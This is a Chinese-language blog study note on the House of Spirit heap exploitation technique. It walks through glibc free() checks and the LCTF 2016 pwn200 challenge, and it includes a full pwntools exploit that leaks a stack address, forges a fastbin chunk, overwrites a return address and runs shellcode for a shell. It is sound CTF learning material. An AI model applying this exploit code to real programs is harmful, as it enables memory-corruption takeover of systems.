【PWN-HEAP學習】House of Spirit 學習筆記

House of Spirit 原理

House of Spirit是Fastbin Attack的其中一種攻擊手段。這種攻擊手段是變量覆蓋堆管理機制的組合利用,其核心操作是在目標位置處僞造 fastbin chunk,利用變量覆蓋的手段覆蓋堆指針,使其指向fastbin fake chunk,而後將其釋放,再申請剛釋放的fake chunk,就有可能改寫原先不可控的區域。

因爲在調用free()函數釋放fastbin的時候會進行一些檢查,所以需要在構造fake chunk的時候留意一下細節

  • 首先mmap標誌位不能爲1,否則會直接調用munmap_chunk函數去釋放堆塊。
 void
 public_fREe(Void_t* mem)
 {
   mstate ar_ptr;
   mchunkptr p;                          /* chunk corresponding to mem */
  
   [...]
  
   p = mem2chunk(mem);
 
#if HAVE_MMAP
  if (chunk_is_mmapped(p))         /*release mmapped memory. 若mmap標誌爲1,則不走_int_free()函數進行釋放*/
  {
    munmap_chunk(p);
    return;
  }
#endif
 
  ar_ptr = arena_for_chunk(p);
 
  [...]
 
  _int_free(ar_ptr, mem);
  • fake chunk 地址需要對齊, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要滿足對應的 fastbin 的需求,同時也得對齊。
  • fake chunk 的 next chunk 的大小不能小於 2 * SIZE_SZ(x64的系統下不能小於16),同時也不能大於av->system_mem(x64的系統下system_mem爲128kb)。
  • fake chunk 對應的 fastbin 鏈表頭部不能是該 fake chunk,即不能構成 double free 的情況。
  void
  _int_free(mstate av, Void_t* mem)
  {
    mchunkptr       p;           /* chunk corresponding to mem */
    INTERNAL_SIZE_T size;        /* its size */
    mfastbinptr*    fb;          /* associated fastbin */
   
    [...]
   
   p = mem2chunk(mem);
   size = chunksize(p);
  
   [...]
  
   /*
     If eligible, place chunk on a fastbin so it can be found
     and used quickly in malloc.
   */
  
   if ((unsigned long)(size) <= (unsigned long)(av->max_fast)   /*其次,size的大小不能超過fastbin的最大值*/
  
 #if TRIM_FASTBINS
       /*
        If TRIM_FASTBINS set, don't place chunks
        bordering top into fastbins
       */
       && (chunk_at_offset(p, size) != av->top)
 #endif
       ) {
  
     if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect (chunksize (chunk_at_offset (p, size))
                          >= av->system_mem, 0))                        /*最後是下一個堆塊的大小,要大於2*SIZE_ZE小於system_mem*/
       {
        errstr = "free(): invalid next size (fast)";
        goto errout;
       }
  
     [...]
     fb = &(av->fastbins[fastbin_index(size)]);
     [...]
     p->fd = *fb;
   }

l-ctf 2016 pwn200 程序分析

首先逆向程序,熟悉程序的功能和函數調用流程:
一開始找到main函數:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_40079D(a1, a2, a3);
  sub_400A8E();
  return 0LL;
}

sub_40079D函數是用來設置緩衝情況,可以跳過,追入sub_400A8E查看

__int64 sub_400A8E()
{
  signed __int64 i; // [rsp+10h] [rbp-40h]
  char v2[48]; // [rsp+20h] [rbp-30h]

  puts("who are u?");
  for ( i = 0LL; i <= 47; ++i )
  {
    read(0, &v2[i], 1uLL);
    if ( v2[i] == 10 )
    {
      v2[i] = 0;
      break;
    }
  }
  printf("%s, welcome to xdctf~\n", v2);
  puts("give me your id ~~?");
  sub_4007DF();
  return sub_400A29();
}

在這個函數中可以發現在往v2數組中存放字符串的時候沒有控制好循環次數,導致可以覆蓋數組最後的\x00而printf函數輸出v2數組內容的時候可以泄露rbp棧地址(main函數的rbp,後面調試信息會詳細描述)。
以此查看sub_4007DFsub_400A29

int sub_4007DF()
{
  int result; // eax
  char nptr[8]; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  v2 = 0;
  for ( i = 0; i <= 3; ++i )
  {
    read(0, &nptr[i], 1uLL);
    if ( nptr[i] == 10 )
    {
      nptr[i] = 0;
      break;
    }
    if ( nptr[i] > 57 || nptr[i] <= 47 )
    {
      printf("0x%x ", (unsigned int)nptr[i]);
      return 0;
    }
  }
  v2 = atoi(nptr);
  if ( v2 >= 0 )
    result = atoi(nptr);
  else
    result = 0;
  return result;
}

這個只是用來輸入數字並轉化成int類型數據。

__int64 sub_400A29()
{
  char *v0; // rdi
  char buf; // [rsp+0h] [rbp-40h]
  char *dest; // [rsp+38h] [rbp-8h]

  dest = (char *)malloc(0x40uLL);
  puts("give me money~");
  read(0, &buf, 0x40uLL);
  v0 = dest;
  strcpy(dest, &buf);
  ptr = dest;
  return sub_4009C4(v0, &buf);
}

這裏申請了0x40大小的chunk,並將申請到的chunk地址賦給dest
這裏不妨也回想一下dest所指的地址是申請到的chunk的哪個部位(這點後面構造chunk會用到):
在這裏插入圖片描述
之後用read函數讀入"money"保存到buf中。但這裏值得注意的是:buff的大小是(rsp+38h)-(rsp+0h),而read可以讀0x40個數據,這裏會造成overflow,而被蓋掉的是dest,也就是保存malloc出來的chunk地址
在這裏插入圖片描述
緊接着用strcpy函數將buf中的數值複製到chunk中,但是strcpy函數有個特點就是遇到\x00就會終止複製,所以這個步驟實際上是可以被繞過的。再接着查看sub_4009C4

int sub_4009C4()
{
  int v0; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009AF();
      v0 = sub_4007DF();
      if ( v0 != 2 )
        break;
      sub_40096D();
    }
    if ( v0 == 3 )
      break;
    if ( v0 == 1 )
      sub_4008B7();
    else
      puts("invalid choice");
  }
  return puts("good bye~");
}

這個函數功能就是打印菜單信息(sub_4009AF),然後選擇功能點。
根據功能點整理剩下的函數:

sub_4008B7 --> check in ( malloc )
sub_40096D --> check out ( free )
sub_4007DF --> input chose ( 這個前面其實已經分析過了,就不再重複 )

大概瀏覽一下check in和check out函數就行了

int sub_4008B7() /* check in */
{
  size_t nbytes; // [rsp+Ch] [rbp-4h]

  if ( ptr )
    return puts("already check in");
  puts("how long?");
  LODWORD(nbytes) = sub_4007DF();
  if ( (signed int)nbytes <= 0 || (signed int)nbytes > 128 )
    return puts("invalid length");
  ptr = malloc((signed int)nbytes);
  printf("give me more money : ");
  printf("\n%d\n", (unsigned int)nbytes);
  read(0, ptr, (unsigned int)nbytes);
  return puts("in~");
}
void sub_40096D() /* check out */
{
  if ( ptr )
  {
    puts("out~");
    free(ptr);
    ptr = 0LL;
  }
  else
  {
    puts("havn't check in");
  }
}

熟悉完程序就可以來調試了,本次學習用的exp是借鑑其他大佬寫的

l-ctf 2016 pwn200 調試經過

EXP

from pwn import *

context.log_level = 'debug'
p = process('./pwn200')

shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

gdb.attach(p,'b *0x400ac7')
# part one
payload  = ''
payload += shellcode.ljust(48)

p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)

rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))

shellcode_addr = rbp_addr - 0x50 # 20H + 30H
print "shellcode_addr: ", hex(shellcode_addr)
fake_addr = rbp_addr - 0x90 # offset 0x40 to shellcode, 0x400a29 return address


p.recvuntil('give me your id ~~?\n')
# raw_input('#')
p.sendline('32') # id
p.recvuntil('give me money~\n')
# raw_input('#')

#part two
#32bytes padding + prev_size + size + padding + fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41)      # no strcpy
data = data.ljust(56, '\x00') + p64(fake_addr)
print data

p.send(data)

p.recvuntil('choice : ')
p.sendline('2')     # free(fake_addr)

p.recvuntil('choice : ')
p.sendline('1')     #malloc(fake_addr) #fake_addr

p.recvuntil('long?')
p.sendline('48')    # 48 + 16 = 64 = 0x40
p.recvline('48')    # ptr = malloc(48)

data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, '\x00')

p.send(data)

p.recvuntil('choice')
p.sendline('3')

p.interactive()

0x400AFE0x4008B5,0x400A36三個地方下斷點,方便調試。

運行EXP並用GDB掛載,運行程序到printf函數處,得到泄漏的rbp信息
在這裏插入圖片描述
用gdb查看此時的堆棧情況:
在這裏插入圖片描述
那麼此時就知道shellcode的存放位置距離泄露的rbp的位置的偏移,就能算出shellcode的地址爲rbp - 0x50。(計算該位置是爲了方便最後jump到此處執行shellcode。)
在這裏插入圖片描述接着運行程序,會讓用戶輸入一個id值。payload給出的是輸入32。
這裏實際上輸入32是爲了僞造next chunk size,目的是讓後面的fake chunk能夠順利free掉。
在這裏插入圖片描述
之後malloc一個chunk,但是因爲沒有往裏面寫入數據所以我們沒有必要關注。現在關注的是buf和dest兩個變量在內存中的排布問題。
經過逐步調試,可以得知排布情況:
在這裏插入圖片描述
這裏存在的問題在上面程序分析的時候有提到,存在數組溢出問題,所以這裏往buf中傳送0x40的數據後,就能把buf指針覆蓋。
在這裏插入圖片描述
再運行到free後,觀察main_arena的情況:

$2 = {0x0, 0x0, 0x7ffecc490d70, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}

這裏chunk已經被掛到了fastbin上,但是值得注意的是,掛上去的地址是0x7ffecc490d70 而不是malloc出來的chunk。這是因爲free掉了dest所指的地址。

這時候如果再次malloc,那麼得到的地址就是0x7ffecc490d70,然後原先不可控的返回地址(0x7ffecc490d98處)就可以被改寫了任意的數據(也就是寫成shellcode的地址)。

在這裏插入圖片描述
當退出循環的時候,程序執行到ret指令(如下圖的0x400a8d),RIP指針就會被改寫成shellcode地址。
在這裏插入圖片描述

參考材料

【堆之House of Spirit】https://www.anquanke.com/post/id/85357
【House of Spirit】https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit.html
【linux 堆溢出學習之house of spirit(2)】https://blog.csdn.net/qq_29343201/article/details/59593901
【LCTF 2016 PWN200(House Of Spirit)】https://blog.csdn.net/qq_33528164/article/details/79681606

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章